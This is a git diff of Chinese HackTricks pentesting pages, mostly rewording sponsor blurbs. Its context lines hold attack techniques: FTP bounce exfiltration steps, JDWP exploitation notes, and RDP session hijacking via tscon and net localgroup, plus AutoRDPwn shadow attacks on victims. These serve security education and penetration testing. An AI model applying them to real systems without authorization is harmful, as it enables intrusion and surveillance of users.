Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,提供 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
#### 从黑客的角度看待您的网络应用程序、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -73,7 +75,9 @@ finger @internal@external
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,使用 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -86,8 +90,8 @@ finger @internal@external
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,7 +15,9 @@
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,使用 20 多种工具和功能,从侦察到报告。我们不取代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -29,13 +31,13 @@
|
||||||
- 在 FTP 中间服务器上有有效的 FTP 凭据
|
- 在 FTP 中间服务器上有有效的 FTP 凭据
|
||||||
- 在受害者 FTP 服务器上有有效的 FTP 凭据
|
- 在受害者 FTP 服务器上有有效的 FTP 凭据
|
||||||
- 两个服务器都接受 PORT 命令(跳跃 FTP 攻击)
|
- 两个服务器都接受 PORT 命令(跳跃 FTP 攻击)
|
||||||
- 您可以在 FRP 中间服务器的某个目录中写入
|
- 您可以在 FTP 中间服务器的某个目录中写入
|
||||||
- 中间服务器在某种程度上对受害者 FTP 服务器的访问权限比您更多(这就是您要利用的)
|
- 中间服务器将比您更有权限访问受害者 FTP 服务器(这是您要利用的)
|
||||||
|
|
||||||
## 步骤
|
## 步骤
|
||||||
|
|
||||||
1. 连接到您自己的 FTP 服务器,并使连接处于被动状态(pasv 命令),以便在受害者服务将发送文件的目录中监听
|
1. 连接到您自己的 FTP 服务器并使连接被动(pasv 命令),以便在受害者服务将发送文件的目录中监听
|
||||||
2. 制作将要发送到受害者服务器的 FTP 中间服务器的文件(利用)。该文件将是需要的命令的纯文本,以便对受害者服务器进行身份验证、切换目录并将文件下载到您自己的服务器。
|
2. 制作将要发送到受害者服务器的 FTP 中间服务器的文件(利用)。该文件将是需要的命令的明文,以便对受害者服务器进行身份验证、切换目录并将文件下载到您自己的服务器。
|
||||||
3. 连接到 FTP 中间服务器并上传之前的文件
|
3. 连接到 FTP 中间服务器并上传之前的文件
|
||||||
4. 使 FTP 中间服务器与受害者服务器建立连接并发送利用文件
|
4. 使 FTP 中间服务器与受害者服务器建立连接并发送利用文件
|
||||||
5. 在您自己的 FTP 服务器上捕获文件
|
5. 在您自己的 FTP 服务器上捕获文件
|
||||||
|
@ -46,7 +48,9 @@
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,使用 20 多种工具和功能,从侦察到报告。我们不取代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -17,13 +17,15 @@
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估与渗透测试设置**。从任何地方运行完整的渗透测试,提供 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## 利用
|
## 利用
|
||||||
|
|
||||||
JDWP 利用依赖于 **协议缺乏身份验证和加密**。它通常在 **8000 端口**上找到,但其他端口也是可能的。初始连接通过向目标端口发送 "JDWP-Handshake" 来建立。如果 JDWP 服务处于活动状态,它会以相同的字符串响应,确认其存在。此握手作为一种指纹识别方法,用于识别网络上的 JDWP 服务。
|
JDWP 利用依赖于 **协议缺乏身份验证和加密**。它通常位于 **8000 端口**,但其他端口也是可能的。初始连接是通过向目标端口发送 "JDWP-Handshake" 来建立的。如果 JDWP 服务处于活动状态,它会以相同的字符串响应,确认其存在。此握手作为一种指纹识别方法,用于识别网络上的 JDWP 服务。
|
||||||
|
|
||||||
在进程识别方面,在 Java 进程中搜索字符串 "jdwk" 可以指示一个活动的 JDWP 会话。
|
在进程识别方面,在 Java 进程中搜索字符串 "jdwk" 可以指示一个活动的 JDWP 会话。
|
||||||
|
|
||||||
|
@ -37,7 +39,7 @@ JDWP 利用依赖于 **协议缺乏身份验证和加密**。它通常在 **8000
|
||||||
|
|
||||||
## 更多细节
|
## 更多细节
|
||||||
|
|
||||||
**这是 [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/) 的摘要**。请查看以获取更多细节。
|
**这是 [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/) 的总结**。请查看以获取更多细节。
|
||||||
|
|
||||||
1. **JDWP 概述**:
|
1. **JDWP 概述**:
|
||||||
- 这是一种基于数据包的网络二进制协议,主要是同步的。
|
- 这是一种基于数据包的网络二进制协议,主要是同步的。
|
||||||
|
@ -78,20 +80,22 @@ JDWP 利用依赖于 **协议缺乏身份验证和加密**。它通常在 **8000
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,提供20多个工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取shell并享受乐趣。
|
#### 获取黑客对您的网络应用程序、网络和云的看法
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习和实践 AWS 黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS 黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习和实践 GCP 黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客攻击: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -8,14 +8,16 @@
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估与渗透测试设置**。从任何地方运行完整的渗透测试,提供 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -43,14 +45,16 @@ msf> use auxiliary/scanner/scada/modbus_findunitid
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估与渗透测试设置**。从任何地方运行完整的渗透测试,使用 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,找到让您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# 3389 - Pentesting RDP
|
# 3389 - Pentesting RDP
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -17,13 +17,15 @@
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,使用 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## 基本信息
|
## 基本信息
|
||||||
|
|
||||||
由微软开发的 **远程桌面协议** (**RDP**) 旨在通过网络实现计算机之间的图形界面连接。为了建立这样的连接,用户使用 **RDP** 客户端软件,同时,远程计算机需要运行 **RDP** 服务器软件。此设置允许无缝控制和访问远程计算机的桌面环境,基本上将其界面带到用户的本地设备上。
|
由微软开发的 **远程桌面协议** (**RDP**) 旨在通过网络实现计算机之间的图形界面连接。要建立这样的连接,用户需要使用 **RDP** 客户端软件,同时,远程计算机需要运行 **RDP** 服务器软件。此设置允许无缝控制和访问远程计算机的桌面环境,基本上将其界面带到用户的本地设备上。
|
||||||
|
|
||||||
**默认端口:** 3389
|
**默认端口:** 3389
|
||||||
```
|
```
|
||||||
|
@ -32,7 +34,7 @@ PORT STATE SERVICE
|
||||||
```
|
```
|
||||||
## 枚举
|
## 枚举
|
||||||
|
|
||||||
### 自动化
|
### 自动
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -70,13 +72,15 @@ rdp_check <domain>/<name>:<password>@<IP>
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,提供20多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取shell并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## **攻击**
|
## **攻击**
|
||||||
|
|
||||||
### 会话劫持
|
### 会话窃取
|
||||||
|
|
||||||
通过**SYSTEM权限**,您可以访问任何**用户打开的RDP会话**,无需知道所有者的密码。
|
通过**SYSTEM权限**,您可以访问任何**用户打开的RDP会话**,无需知道所有者的密码。
|
||||||
|
|
||||||
|
@ -90,7 +94,7 @@ tscon <ID> /dest:<SESSIONNAME>
|
||||||
```
|
```
|
||||||
现在您将进入所选的 RDP 会话,并且您将仅使用 Windows 工具和功能来模拟用户。
|
现在您将进入所选的 RDP 会话,并且您将仅使用 Windows 工具和功能来模拟用户。
|
||||||
|
|
||||||
**重要**:当您访问一个活动的 RDP 会话时,您将使正在使用该会话的用户断开连接。
|
**重要**:当您访问一个活动的 RDP 会话时,您将使正在使用它的用户断开连接。
|
||||||
|
|
||||||
您可以通过进程转储获取密码,但这种方法更快,并且可以让您与用户的虚拟桌面进行交互(密码在记事本中而未保存在磁盘上,其他机器上打开的其他 RDP 会话...)
|
您可以通过进程转储获取密码,但这种方法更快,并且可以让您与用户的虚拟桌面进行交互(密码在记事本中而未保存在磁盘上,其他机器上打开的其他 RDP 会话...)
|
||||||
|
|
||||||
|
@ -123,7 +127,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
||||||
|
|
||||||
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
||||||
|
|
||||||
**AutoRDPwn** 是一个用 Powershell 创建的后渗透框架,主要旨在自动化对 Microsoft Windows 计算机的 **Shadow** 攻击。此漏洞(被微软列为一项功能)允许远程攻击者 **在未获得受害者同意的情况下查看其桌面**,甚至可以按需控制它,使用操作系统本身的本地工具。
|
**AutoRDPwn** 是一个用 Powershell 创建的后期利用框架,主要旨在自动化对 Microsoft Windows 计算机的 **Shadow** 攻击。此漏洞(被微软列为一项功能)允许远程攻击者 **在未获得受害者同意的情况下查看其桌面**,甚至可以按需控制它,使用操作系统本身的本地工具。
|
||||||
|
|
||||||
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||||
* 从命令行以自动化方式控制鼠标和键盘
|
* 从命令行以自动化方式控制鼠标和键盘
|
||||||
|
@ -153,7 +157,9 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,提供20多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取shell并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -166,7 +172,7 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
|
||||||
<summary>支持HackTricks</summary>
|
<summary>支持HackTricks</summary>
|
||||||
|
|
||||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,23 +9,25 @@
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
